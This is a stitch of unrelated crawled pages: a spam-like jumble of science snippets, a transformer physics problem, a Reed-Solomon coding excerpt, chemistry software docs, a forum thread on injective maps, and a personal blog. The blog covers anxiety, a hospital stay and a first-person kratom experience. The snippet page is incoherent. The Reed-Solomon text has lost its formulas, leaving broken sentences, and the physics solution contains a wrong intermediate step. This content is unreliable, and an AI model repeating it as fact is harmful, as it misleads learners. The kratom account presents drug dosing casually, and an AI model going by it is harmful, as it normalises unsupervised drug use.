View Srinivas Mettus profile on LinkedIn, the world's largest professional community. Srinivas has 5 jobs listed on their profile. See the complete profile on LinkedIn and discover Srinivas connections and jobs at similar companies.
• ### Graphene for future electronics IOPscience
The graphene membrane vibrating over the gate acts as a time varying capacitor to the injected RF carrier, and generates sidebands at f177;f m via periodic phase modulation of the reflected signal . The color scale indicates the amplitude of one of the sidebands.
• ### Oral HistoryDouglas W. Fuerstenau Engineering and
Douglas W. Fuerstenau is P. Malozemoff Professor Emeritus of Mineral Engineering in the Dept. of Materials Science and Engineering, University of California, Berkeley.
To realize an optical sorting (Table 5), the flow has to be, at least in principle, constituted by particles forming a monolayer (e.g., cullet fed to the color sorting unit by a vibrating conveyor belt, which keeps the glass in a thin layer). In these conditions glass fragments can be analyzed by the laser beams.
• ### Wearable Artificial Kidney vixra
between China and Finland, led in Finland by Academy Professor Hannu H228;kkinen of the of van der Waals forces to create a new class of 2 D materials called monolayer atomic crystal molecular superlattices. In an earlier study, which was published in . Nature. meaning that the crystal was still vibrating with exactly the same energy.
• ### Metamaterials Brochure En Metamaterial Permittivity
(1) Department of Radio Science and Engineering, Aalto University School of Science and Technology, Finland. (2) Institute of Condensed Matter Theory and Solid State Optics, Friedrich Schiller Universit228;t Jena, Germany.
• ### Abstracts from Purines 2014, an International Conference
Abstracts from Purines 2014, an International Conference on Nucleotides, Nucleosides and Nucleobases, held in Bonn, Germany, from July 2327, 2014.
• ### Vibrating Screen Applied Vibration Limited
A vibrating screen separates materials, aiding in chemical and fine powder dedusting, dewatering and separating oversize particles. Vibratory screens can be used in hygienic pharmaceutical and food solutions as well as heavy duty applications.
Physicists from the University of Basel have observed the quantum mechanical Einstein Podolsky Rosen paradox in a system of several hundred interacting atoms for the first time. [43] Researchers at Aalto University, Finland, have created a
The ground state of half filled monolayer graphene undergoes a novel metal insulator transition with increasing strength of applied magnetic field. In a weak magnetic field the ground state at half filling corresponds to a critical metallic state, that governs the $\nu= 2$ to $\nu=2$ quantum Hall plateau transition. | 2019-05-19 11:00:21 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.22723248600959778, "perplexity": 9425.098513431243}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232254751.58/warc/CC-MAIN-20190519101512-20190519123512-00500.warc.gz"} |
http://clay6.com/qa/72288/the-calculate-the-current-drawn-by-the-prime-of-a-transformer-which-steps-d | Comment
Share
Q)
# The calculate the current drawn by the prime of a transformer which steps down $200\;v$ to $20\;v$ to operate a device of resistance $20 \Omega$ the efficiency of the transformer to be $80\%$
$\begin{array}{1 1} 0.125\;A \\ 1.25\;A \\ 12.50\;A \\ 125\;'A \end{array}$
Comment
A)
Solution :
given $E_p= 200\;v$
$E_s= 20\;v$
$R_s= 20\; \Omega$
$I_s= \large\frac{E_s}{R_s}$
$\qquad= \large\frac{20}{10}$
$\qquad= 1\;A$
$n= \large\frac{E_sI_s}{E_pI_p}$
$\large\frac{80}{100}=\frac{20 \times 1}{200 \times I_p}$
$I_p = \large\frac{20 \times 1 \times 100}{80 \times 200}$
$I_P =\large\frac{1}{8}$$= 0.125\;A$ | 2019-08-17 12:53:41 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2863512337207794, "perplexity": 1474.1921494206276}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-35/segments/1566027313259.30/warc/CC-MAIN-20190817123129-20190817145129-00403.warc.gz"} |
http://devguis.com/24-9-reed-solomon-codes-introduction-to-cryptography-with-coding-theory-3rd-edition.html | # 24.9 Reed-Solomon Codes
The Reed-Solomon codes, constructed in 1960, are an example of BCH codes. Because they work well for certain types of errors, they have been used in spacecraft communications and in compact discs.
Let be a finite field with elements and let . A basic fact from the theory of finite fields is that contains a primitive th root of unity . Choose with and let
This is a polynomial with coefficients in . It generates a BCH code over of length , called a Reed-Solomon code.
Since , the BCH bound implies that the minimum distance for is at least . Since is a polynomial of degree , it has at most nonzero coefficients. Therefore, the codeword corresponding to the coefficients of is a codeword of weight at most . It follows that the minimum weight for is exactly . The dimension of is . Therefore, a Reed-Solomon code is a cyclic code.
The codewords in correspond to the polynomials
There are such polynomials since there are choices for each of the coefficients of , and thus there are codewords in . Therefore, a Reed-Solomon code is a MDS code, namely, one that makes the Singleton bound (Section 24.3) an equality.
# Example
Let , the integers mod 7. Then and . A primitive sixth root of unity in is the same as a primitive root mod 7 (see Section 3.7). We may take . Choose . Then
The code has generating matrix
There are codewords in the code, obtained by taking all linear combinations mod 7 of the three rows of . The minimum weight of the code is 4.
# Example
Let , which was introduced in Section 3.11. Then has 4 elements, , and . Choose , so
The matrix
is a generating matrix for the code. The code contains all 16 linear combinations of the two rows of , for example,
The minimum weight of the code is 2.
In many applications, errors are not randomly distributed. Instead, they occur in bursts. For example, in a CD, a scratch introduces errors in many adjacent bits. A burst of solar energy could have a similar effect on communications from a spacecraft. Reed-Solomon codes are useful in such situations.
For example, suppose we take . The elements of are represented as bytes of eight bits each, as in Section 3.11. We have . Let . The codewords are then vectors consisting of 255 bytes. There are 222 information bytes and 33 check bytes. These codewords are sent as strings of binary bits. Disturbances in the transmission will corrupt some of these bits. However, in the case of bursts, these bits will often be in a small region of the transmitted string. If, for example, the corrupted bits all lie within a string of 121 () consecutive bits, there can be errors in at most 16 bytes. Therefore, these errors can be corrected (because ). On the other hand, if there were 121 bit errors randomly distributed through the string of 2040 bits, numerous bytes would be corrupted, and correct decoding would not be possible. Therefore, the choice of code depends on the type of errors that are expected. | 2021-10-21 09:13:46 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 62, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8674206137657166, "perplexity": 428.18478162677565}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585382.32/warc/CC-MAIN-20211021071407-20211021101407-00320.warc.gz"} |
http://reactionmechanismgenerator.github.io/RMG-Py/reference/cantherm/kinetics.html | rmgpy.cantherm.KineticsJob¶
class rmgpy.cantherm.KineticsJob(reaction, Tmin=None, Tmax=None, Tlist=None, Tcount=0)
A representation of a CanTherm kinetics job. This job is used to compute and save the high-pressure-limit kinetics information for a single reaction.
Tlist
The temperatures at which the k(T) values are computed.
Tmax
The maximum temperature at which the computed k(T) values are valid, or None if not defined.
Tmin
The minimum temperature at which the computed k(T) values are valid, or None if not defined.
execute(outputFile=None, plot=False)
Execute the kinetics job, saving the results to the given outputFile on disk.
generateKinetics(Tlist=None)
Generate the kinetics data for the reaction and fit it to a modified Arrhenius model.
plot(outputDirectory)
Plot both the raw kinetics data and the Arrhenius fit versus temperature. The plot is saved to the file kinetics.pdf in the output directory. The plot is not generated if matplotlib is not installed.
save(outputFile)
Save the results of the kinetics job to the file located at path on disk. | 2017-05-24 07:58:00 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5144943594932556, "perplexity": 4497.497040424865}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-22/segments/1495463607806.46/warc/CC-MAIN-20170524074252-20170524094252-00459.warc.gz"} |
https://www.physicsforums.com/threads/prove-that-an-endomorphism-is-injective-iff-it-is-surjective.903198/ | # Homework Help: Prove that an endomorphism is injective iff it is surjective
1. Feb 8, 2017
### Mr Davis 97
1. The problem statement, all variables and given/known data
Prove that an endomorphism between two finite sets is injective iff it is surjective
2. Relevant equations
3. The attempt at a solution
I can explain this in words. First assume that it is injective. This means that every element in the domain is mapped to a single, unique element in the codomain, with no overlap. Since the domain and the codomain are the same size, this means that the map would have to be surjective. In the other direction, assume that the map is surjective, which means that every element in the domain must be associated with a unique element in the codomian. Since they are the same size, this the map is injective.
Is this acceptable? Is there a better, more mathematical way to come to these conclusions using the definitions of injective and surjective?
Last edited: Feb 8, 2017
2. Feb 8, 2017
### Staff: Mentor
The surjectivity case looks a bit suspicious.
codomain has an associated element in the domain and the same size guarantees that none in the domain can map to the same element of the codomain for all elements are targeted.
If you like, you could put all this into formulas. Say we have a function $f\, : \, X \longrightarrow Y$ with $|X|=|Y|=:n < \infty$. The definitions are:
$f$ is injective, iff $f(x)=f(y) \Longrightarrow x=y$ and
$f$ is surjective, iff $\forall \; y\in Y \;\exists \; x\in X\, : \,f(x)=y$ or likewise $\forall \; y\in Y\, : \,f^{-1}(y) \neq \emptyset\,.$
It might help in this case, to define numberings $N_X\, : \, \{1,2,\ldots, n\} \longrightarrow X$ and $N_Y\, : \, \{1,2,\ldots, n\} \longrightarrow Y$ and show that $N_Y^{-1}\circ f \circ N_X$ is a bijective. I'm not sure whether these extra mappings are actually needed, it's just an idea to formalize what you actually did in your reasoning. | 2018-05-27 08:14:03 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8561440110206604, "perplexity": 189.6916826376936}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-22/segments/1526794868132.80/warc/CC-MAIN-20180527072151-20180527092151-00308.warc.gz"} |
http://ramblingspart2.blogspot.com/2015_03_01_archive.html | Tuesday, March 31, 2015
My Fashion
I used to, as a teen, somewhat thumb my nose at those who seem preoccupied with what to wear. Granted, growing up in a strict household, all my clothing was picked out and approved by my parents - mostly my mother - in order to be professional/dressy enough and non-threatening. I was never afforded the opportunity to wear something "trendy" or "stylish." As I grew older, moved out, and found myself with the ability to purchase my own clothes, I started to realize the opportunity I now had in creating or fostering my own identity by way of the image I projected. Now, I can get clothes just because I think they "look cool" or are something I'd like to wear. The freedom, even as a mid 20-something, is rather exciting! I relish the opportunity to go out in public actually wearing what I want, wearing what I like, and projecting an image of my choosing. Doing so has really struck the final nail in the coffin for me in terms of school uniforms. Especially as teens, who are going through that tough period of life where they are expected to act like adults but aren't treated like them, I think being able to express yourself how you want in any ways possible is vitally important. I'm not suggesting that, if I had been able to wear what I wanted in high school, things would have gone differently, but considering how often my formal wear got me made fun of, if nothing else, wearing something I was more comfortable in would have been nice.
Monday, March 30, 2015
Today, I was Asked the Most Frightful of Questions
The teller at the bank has asked it before, and I am never prepared.
"Did you have a good weekend?" she said to me, as she brushed her blond bangs aside and punched in my account number.
Of course, when someone at a business asks this, they are not truly asking if you had a good weekend. The assumption is that the weekend was good, and that the reply you give is merely a curt, courteous entreating of small talk, an affirmative, a habitual response. My weekend was bad, in many ways, but that would have made things awkward. She was just a bank teller, not a friend. What would have happened if I said "not really"?
"It was alright."
"What did you do?"
Of course, at this point, having already traversed down a dishonest path, I wasn't about to admit to the truth of the matter - that I slept a lot and listened to sad music, while questioning the meaninglessness of my existence. So I simply said "not much," which, in hindsight, was rather true. Little to nothing was accomplished - I spent most of it fretting - and that was about the extent of my weekend.
"A relaxing weekend is nice," she replied, and then handed me my slip, and told me to have a nice day. I replied the same, and walked into the world wishing to poke with a sharp object whoever invented small talk.
Chasers
Chase the pills down with water. Chase the liquor down... actually don't, it's better to just drink the liquor straight, who needs a chaser anyways? Chase the feelings away with sleep. Chase the boredom away with music. Chase the aimlessness away with travel. Chase the money away with meaningless purchases. Chase the loneliness away with dopamine. Chase the teacher away with honesty. Chase the classmates away with dullness. Chase your parents away with aloofness. Chase your roommate away with quietness. Chase time away with laziness. Chase confidence away with repeated failure. Chase your solitude away with video games. Chase the questions your mother asks about life and relationships away with silence. Chase your doctor away with lies. Chase your doctor back with truths. Chase your co-workers away with rolled eyes. Chase it all away because the chase is more fun, you think, and you don't want to deal with it all, anyways.
Friday, March 27, 2015
Six Word Stories
I've always been a fan of short writings, short stories, and, perhaps most basically, six word stories. Ernest Hemingway's "For sale. Baby shoes. Never worn," is a classic. I figured that, foolish as it is, I would try my hand at my own.
Call from the future. They're drowning?
Mom, Sam crashed the drone again!
iPod. iPad. iPhone. iTunes. I broke.
Dreamers are elsewhere. Better than here.
Time flows like a river... Dam.
Location, location, location... where are we?
Woke up. Rolled over. Slept more.
Stare at screen, eyes don't blink.
We said "hi;" 0s and 1s.
I knew her years without meeting.
Garage sale? Where is the garage?
Vintage footage of Great Barrier Reef.
Life is such a clique fest.
Love bites. She's a vampire. Figures.
And... action! CUT! No, no, no!
She broke the ice. He fell.
Deadline day?! But I just started!
I am your father. Oops, spoilers!
Over the river. Lost in woods.
myspacebarisbroken,shit.
Fresh new batch of caffeine injectors!
American president declares War on Wars.
Hit it. Twist it. Bop it.
She whipped me. I liked it.
Followed the directions. Still blew up.
What a dinosaur, he still drives!
Bored. Refreshed again. Still no change.
Don't leave! Think about friend count!
Wait, we're finished already? So fast!
Thursday, March 26, 2015
Travelogue
A man stands on the stage, comfortable in his white, middle class upbringing, unperturbed by the diversity of the world around him. He tells you to sell your stuff, really, it just owns you, and go travel, do something more valuable than keep up with the Jones'. The stuff is temporary, he says. Then again so is travel, we all come back to our jobs, unless you can manage to quit and travel forever, but who can afford that? Who can afford a vacation in the first place? Who has accumulated enough stuff to sell it? He's comfortably making assumptions about our financial wellbeing. Like nothing more than a month of nothing but travel, but I get two weeks, and that's it, then it's back to work. I can't afford to take a year off and just go to every continent, can't leave my sister behind like that, or my parents, I mean maybe I could, but where would it leave me? What are our responsibilities?
The man gets a round of applause and everyone walks away thinking how they'd love to travel, how the stuff does own them - hasn't everyone seen Fight Club? - and that if only they could afford the money and time it takes. Perhaps another day.
Wednesday, March 25, 2015
Today
Rainy, cold, grey today. Cold today. Tired today. Didn't want to get out of bed today. Made coffee today because the office was cold when I got there today. Had oatmeal again today. Splashed water on face to clear off dry skin today. Hands are unresponsive today. Remembered to wear a belt today. Spent extra time ironing my clothes today to make sure they were warm when I put them on. Used my windshield wipers today. Listened to a new album today. Cursed my akathisia today. Didn't have messy hair today. Straightened out my desk today. Said "good morning" to a co-worker who didn't respond today. Saw a car accident today. Hummed a tune today.
Wrote this post today.
Tuesday, March 24, 2015
Growing Older
I can remember sitting in the theatre thinking that the movie just wasn't doing it for me. There was too much violence. Too much simple bloodshed.
The movie was "Casino Royale," and while I think it's a pretty good Bond film, all things considered, my days of enjoying Bond films were gone. I looked at these movies and saw a culture that idolized and fetishized violence, guns, death, power, and didn't really like what I saw. I can't say for certain when it all happened, but it did. I had grown tired of "middle-aged men doing violent things" as a movie genre.
That's not to say I can't enjoy violent movies, but I find myself increasingly perturbed at movies that toss around mass casualties like a feather. Movies and media don't inherently make people violent, but we do know that kids have a higher propensity to, say, drink or smoke, if they get to consume media in which people do regularly.
I still don't know what it says about us all that all of our most popular movies involves explosions, guns, and death. I realize the power fantasies some have, even if I don't really understand them. What I don't get is how this kind of thing is "cool" or "sexy." There's nothing cool about lots and lots of violence and death.
Or maybe I'm just getting old.
Monday, March 23, 2015
Stuff
Not sure what to do about it, maybe none of us are. We collect it and sometimes pile it. I still have a moving box of stuff in my bedroom, haven't touched it in years, it's all junk, can't even really resell it, should just donate it or pitch it but it's heavy.
Stuff. So much of it, yet sit Sunday night idly wondering what to do, nothing seems entertaining at all. Spent so much money on the stuff, the usual short-lived dopamine rushes of feeling the accumulation, or the arrival of the brown box.
Stuff. I've read a lot of books, watched a lot of movies, played a lot of games. But if I am not going to go back to some, why not sell? It's work though. Have to take the pictures, make the online listing, catalogue and price it all. Rather spend weekends being lazy, which I do on weekdays too, so what's the point, really? More money, I guess. More money I could use to buy more stuff.
So many choices yet nothing sounds fun, maybe that's what it's like when we stare at the fridge and there's too much food but nothing sounds good, analysis paralysis, we all struggle when we have more than a few choices, and I do, although I certainly don't deserve it, this stuff.
Crawl into bed instead. No stuff there. Just a warm blanket.
Friday, March 20, 2015
Showers in the Hospital
Never forget. Not sure how to feel, really. Years ago, I found myself in a hospital, medium-risk patient, had to have someone in the bathroom with me while I showered, just incase I did something radical or dangerous. Bathroom shaped like a U, with the shower in the top left corner, a wall running down the middle, and the sink and toilet in the top right corner. Grimy place, tile floors, several light bulbs in the ceiling. Taking a shower one evening, usual guy is there, he's sitting in a chair on the other side of the wall, back to me, I'm rinsing off, still find the whole ordeal awkward but what can I do? Suddenly, the room gets darker. Don't chalk it up to much at first, figure maybe a light bulb has burnt out, the usual. Continue to rinse my hair. Turn around to wash off my back, see the staff member who is supposed to be sitting on the other side of the wall instead staring at me, it got darker because he was blocking the light, he darts out of sight so fast I swear he was a blur.
Didn't take a shower when he was around again. He was twice my size and taller than me. Intimidating. Some nights, I just washed off in my bedroom and bathroom with the sink as best I could. Wonder if he's spied on other vulnerable young men. Wonder if I should have said something. Wonder if it would have mattered.
Thursday, March 19, 2015
On my Experience with Kratom
I remember receiving the bag in the mail much faster than I expected it. I had never done any kind of drug other than what you get at Walgreens or what you get at a bar. Inside the small white post box was a bag about 1-2 inches wide and 1-2 inches long containing a very fine grass green powder. Grass green in colour, and in smell.
Probably the trickiest part of the whole experience was deciding how to ingest it. I had a capsule machine, a pill maker that could make about 60 at once. I decided on a dose of kratom on the lower end of the recommended scales I found, and made some 20-25 pills full of the stuff. Swallowing them was annoying. I have no problem with swallowing pills, I've been taking some pill for the last 12 years of my life, which is just shy of half of it, but once you get to about pill 15-20, the constant swallowing of the pills and the water to wash it down gets a bit tiring. I went through one a half bottles of water just to help get them all down.
I had an idea of how long it would take, but after about 45-50 minutes without a scant feeling of change, I had all but given up. Maybe it just doesn't do much to me, like caffeine, or the fact that I don't get side effects from non-prescription drugs, like, ever.
But it was only a few minutes later when the drugs hit. It's hard to explain. There was a warm fuzziness to my brain, and I felt overwhelmingly content with things. Not euphoric, just content. The world, and all the people who inhabited it, seemed flawlessly wonderful. I sent a friend several emails about how lovely this planet is. The warm fuzzy and tingly sensation was soothing and comforting, almost like ASMR or something, but noticeably more potent. I had on some of my favourite music and greatly enjoyed it.
The high didn't last too terribly long, maybe about 30-45 minutes before it had all but warn out. I don't recall any aftereffects - no drowsiness, headaches, or anything else.
The biggest problem is that, since then, I've taken kratom probably about 4 times over the last couple years, and I've never managed that same result. I had one time where I felt moderately calm and happy, but that first high was undoubtedly the best and most pleasant.
Wednesday, March 18, 2015
Tired
Tired in the mornings too often, have been battling it for years, annoying side-effect of some of the medicine I take, 4 different kinds, all can cause drowsiness and fatigue. Some days are better than others. Yesterday, wasn't tired at all; today, I'm really drowsy and my eyes are darting in and out of focus. Chow down on coffee even though caffeine has never affected me and seemingly never will, load up on sugar from sweet granola bars and treats, keep my mind active, get up and walk every so often. Office is quiet, just the slow droning of the furnace punctuated by an occasional phone call, the chatty lady is here again but even she seems resigned to her desk for now, which is good, she likes to hear herself talk all the time and nobody else.
Make it to lunch and I should be ok, watch the time slowly tick by, focus, keep jittering, akathisia at least comes with the perk of always wanting to be moving, and it's harder to fall asleep when you're moving, at least that's been my experience. I've always had trouble falling asleep in moving vehicles.
Try to find something intellectually stimulating, maybe if I can keep my brain active I can, well, keep it active, but this job is as stimulating as watching paint dry, at least then you might be watching pretty colours.
Tired this morning, my body longs for bed and I just long for alertness.
Tuesday, March 17, 2015
Rejection
Rejection comes in many flavours, usually bitter and hard to swallow. My favourite flavour is the bittersweet kind that you get when you've done something worthwhile, only to have it shut down, like a research piece, a story, a date, or life in general. Sometimes rejection can be physical, when you're literally pushed out or blocked out of space you wish to occupy. Sometimes it's mental. Sometimes societal.
Robots told me I was rejected, it's happened before, and it will happen again. The flavor wasn't bittersweet, though, it was more like... dried fruit. Apathetic. Not any shame in being rejected where 99% of people are. Long odds even for the best of us.
It's easy to deal with the rejection by either fighting or giving up, the former of which will lead to more rejection, the latter of which will never allow you to perhaps one day overcome it. But then again, the last thing we want is an unhealthy dose of optimism, which is about 1 PPM.
Monday, March 16, 2015
Make You Sick
Anxiety, anxiety, anxiety. Haunting your stomach and rendering appetites meaningless, shake around, rock back and forth, lose sleep. Stomach is in knots and you make trips to the bathroom frequently while at work while hoping nobody notices. Worse is when shortness of breath, sweat, or panic sets in, then it's a lose cause, find a bathroom to sit in and just lean up against the wall and take deep breaths. Anxiety. Renders enjoyment lackluster, you spend so much time thinking about what's upcoming that you can't focus on something you're doing now you enjoy. Remind yourself that it's never as bad as you think, but you're mind is stubborn and this is what you've known.
It's the job, this week, events will be unfolding that is a referendum on you, and you've never been good at this, let's be honest. It was to start today, but it was delayed until tomorrow, so spend another night with anxiety, anxiety, anxiety, and look forward to Tuesday like you looked forward to today. Make sure you have water to wash the fix down with.
Friday, March 13, 2015
Salad's the same over and over. Lettuce is thin and crisp, green, bland, always has been. Tastes like a vegetable mated with water, dressed itself in some sort of texture designed to require just enough chewing to be solid but too little to be of substance. You can dress it up with cheese or croutons or dressing but then the caloric intake sort of defeats the purpose. So it's lettuce. Cheese. Chicken. That's it. Some fat free, low-cal dressing. Feels like something a Replicator would spit out after awhile, or some sort of food construct ejaculated out of a cyberpunk future in which we inject mush into our system for nutrients.
Oatmeal is the same but even more dystopian. It's slop. It can be thin and runny or thick and slow. Always the same colour. Dress it up with fruit or nuts, beware of sugar and milk, though, it's like the croutons and cheese. Eat it for breakfast, start the day with oatmeal and a coffee and you never have to chew a goddamn thing. Why use your teeth in this dystopia anyways, we can be better than that. Sometimes, the nuts are soft and chewy too, and it all just blends together. Sometimes you're lucky and the fruit is sweet and tastes like something that existed as a real plant part at some point, jacks up the flavor quotient so that you're not just sort of staring into the abyss. If you pour in enough milk it becomes bland and runny and looks like it's just curdled dairy product, tastes better in that at least it has no taste, this is the future, food is tasteless and formless, do it to chase an ideal body, do it to chase away the little bumps of flesh that line yourself in ways that embarrass you when you're shirtless, not that anyone would ever see you shirtless.
Used to love the two, still convince myself I do when I eat a really good batch of oatmeal that has just the right amount of water and sweetness, but the difference between having them occasionally and having them all the time is enough to drive the fatigue up, make you tired, even though you rarely use your teeth.
Salad for lunch today. Oatmeal for breakfast. For dinner, I can only imagine.
Thursday, March 12, 2015
Spring comes with unbearable reward, bursting at the seams with pleasantries and manners, bending over backwards to please, rattles out cobwebs and dust. The air feels lighter. I'll be back to my walks again, walks where I try to portray an air of confidence and assuredness while also avoiding eye contact, wouldn't want anyone to say "hi" or nod or something, that'd be weird, just want to walk campus and here the snippets of conversation that float from young adult lips and swirls around in a ménage of rumours and "she did whats?!" and "did you do ok on the test?" They have to placate the stress of $30k in student debt somehow, might as well do it with sex, drugs, and rock and roll. I've meandered from the path now, walking, or maybe talking, through spring, but the white and grey palette of winter is finally degrading, and I'm left with a sense of temporary enjoyment. Sunlight is allowed back into the world once more. There's a spring in my step, perhaps, don't push at puns too firmly, they might knock you out. I'll walk again, I'll see you there. Wednesday, March 11, 2015 On the Sobering Reality of Reality To make a long story short, I am not terribly fond of my hometown. There's nothing existentially wrong about it more than any other town of 75,000 people, but, being in the Midwest, being in a metropolitan area of only about 325,000 people, and being in a region of the world that sees regular cold and snow, I grow fond of the idea of moving to Florida or SoCal or another place where I can be reasonably expected to be able to go outside and feel actual reasonable temperatures on my skin. I also have always had an appreciable fondness for large cities. Their sights and sounds. The never-ending people watching. The feeling of there being something new to see every day. Alas, in order to own a house in my part of the country, you only need to make what is a relatively small amount of income. My sister and I combined make about 30-32,000 (we also have a roommate), and that is more than enough to afford a house, life expenses, and still bank some away. Such numbers, in, say, Miami, don't really fly, much less LA or San Diego. Alas, while corners can be cut - say, sharing an apartment with roommates, for example, - my lack of many references and a college degree severely hampers my pursuit of greater income. Where this leaves me, I do not know. Foggy Brain was foggy this morning, outside was, too, fog shielded eyes from glaring headlights of approaching cars, lingered around fields where the first tufts of green grass are escaping from months of imprisonment under snow. Can't shake out brain or the outside, can't clear up the fog, can't improve the vision, barely see a school bus as the fog light on top flashes garishly, approach street lights in nervous curiosity - if it turns red, will I be able to see it and stop in time? Fog washed out the colours, the white snow is grey, the sky is grey, everything is grey, or maybe that's my cloudy brain speaking again, really what's the difference? Both are foggy. Both are grey, matter of time before the fog clears, maybe it'll retreat into some lonely solace, or maybe it'll evaporate and relinquish its hold on the space, for light, for sun, for clarity, blue skies, so I can see colours. World is colourful, fog likes to drag itself across them and cover them, not let you see them. Maybe by the afternoon it'll be better. Tuesday, March 10, 2015 Life Goals Considering my aforementioned failings as a human being, that is, my failings in regards to accomplishments, success, networking, schooling, underwater basket-weaving, homemade alfredo sauce, and other assorted futilities, my life goals have drastically changed over the course of my tepid existence. Whereas, during my days of early elementary school, I dared to dream of things like "making video games" or "playing basketball," and even in high school, fashioned my future as one in which perhaps I was a journalist or author, reality has, alas, sapped me of continuing such delusions-of-grandeur (which, I might add, they always were, even if I failed to see it at the time). With that in mind, my current goals in life - which are substantiated almost entirely by the result of me being born into a middle-class, white, American household, with generous and supportive parents, and not at all the result of anything worthwhile of mention that I did - are simply to 1) Accumulate as much money as I can 2) Give it to a charity, upon my timely death, whose goal and pursuit of said goal is that of a particularly redeemable quality It is with that in mind that I perhaps give myself the greatest chance of imparting any sort of positive significance on this world, perhaps not coincidentally, upon my departure from said world. On the Sustainability of Self-Doubt When you are 26 years old, and have been, by an large, an abject failure - as demonstrated by truncated pursuits of all things educational, vocational, recreational, or anything in between - the natural inclination is towards self-doubt. Upon repeated instances, its efficacy becomes better, if nothing else, due to familiarity and comfort with consistent pursuit towards self-doubt and prolonged subjugation of self-deprecation. One finds that, whether or not such path is a self-fulfilling prophecy - that is to say, perpetual self-doubt leads to perpetual underwhelming results, thus creating more self-doubt - the end results confirm what one, or in this case, the present author, already know. To have such confirmation is indubitably a valuable experience, if one values repeated instances of disappointment, self-resentment, and underwhelming results from all things related to one's existence. So I say; here's to continued consistency in what I do not achieve, for perhaps in my failings, I have truly achieved something very few have. Whether that's actually a redeemable quality is not a question worth debating, for we all, including this hereto author, know the answer. Monday, March 9, 2015 Intelligence, Or a Lack Thereof The Merriam-Webster dictionary defines intelligence as: noun in·tel·li·gence \in-ˈte-lə-jən(t)s\ : the ability to learn or understand things or to deal with new or difficult situations Concerning the author of this post's inability to deal with any new situations, or difficult situations, or new and difficult situations, it stands to reason that said author is lacking in such a quality. Perhaps, upon further practice, the author could overcome such inadequacies, but such hope is likely unnecessarily optimistic. The Intricacies of Communication as a Device in Which One Accumulates Friendship I am not an expert on the means in which one 